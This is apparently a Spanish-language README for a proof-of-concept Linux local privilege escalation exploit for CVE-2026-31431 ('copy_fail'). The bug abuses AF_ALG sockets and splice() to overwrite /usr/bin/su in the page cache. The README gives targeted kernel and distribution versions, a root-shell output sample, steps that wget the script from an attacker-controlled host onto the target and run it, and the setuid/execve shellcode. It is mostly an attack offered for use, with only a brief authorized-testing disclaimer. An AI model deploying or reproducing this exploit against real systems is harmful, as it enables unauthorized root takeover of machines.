
PoC shell exploit para CVE-2026-31431 (copy_fail) — LPE en Linux mediante AF_ALG + sobrescritura de page-cache con splice. Disparo único, sin condición de carrera, kernel 4.9–6.18.
Escalada local de privilegios mediante socket AF_ALG + sobrescritura de caché de páginas con splice().
Sobrescribe un binario SUID de solo lectura (/usr/bin/su) con un ELF mínimo que llama a setuid(0) + execve("/bin/sh"). Sin condición de carrera, sin offsets específicos por distribución, en un solo intento.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] El kernel 5.15 está dentro de la ventana vulnerable (4.9 – 6.18) — continuando
[*] Compilando...
[+] Compilación OK — ejecutando
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
El socket AF_ALG (API de criptografía) del kernel de Linux, combinado con splice(), permite escribir en un archivo abierto con O_RDONLY manipulando la caché de páginas. El kernel omite la comprobación de permisos de escritura en el atajo de copy-on-write dentro de la ruta de splice del socket ALG — la misma clase de fallo que Dirty Pipe (CVE-2022-0847) pero desencadenada mediante una ruta de código diferente introducida en el kernel 4.9.
| Rango de kernel | Estado |
|---|---|
| < 4.9 | No afectado (la ruta de código vulnerable no está presente) |
| 4.9 – 6.18 | Vulnerable (~9 años, 2017–2026) |
| ≥ 6.19 | Parcheado |
| Distribución | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc disponible en el objetivo/tmp# En el objetivo
wget http://<tu-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
El script hará lo siguiente:
/usr/bin/su con el payload de shell rootSocket AF_ALG (AEAD)
│
│ sendmsg() con datos ancillares manipulados (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (socket de operación)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
La ruta de splice del kernel dentro del socket ALG omite la comprobación de permisos de copy-on-write, escribiendo directamente en la caché de páginas del archivo objetivo a pesar de estar abierto en modo solo lectura. El payload (un ELF de 160 bytes) se escribe de 4 bytes en 4 bytes a lo largo de 40 iteraciones.
Shellcode del payload:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| Archivo | Descripción |
|---|---|
copy_fail_exp.sh | Script Bash — compila y se ejecuta en el objetivo, no requiere Python |
copy_fail_exp.py | Versión original en Python como referencia |
copy_fail_exp_deobfuscated.py | Versión en Python desofuscada y comentada |
Solo para pruebas de seguridad autorizadas y entornos de laboratorio/CTF. No lo utilices contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito por escrito para realizar pruebas.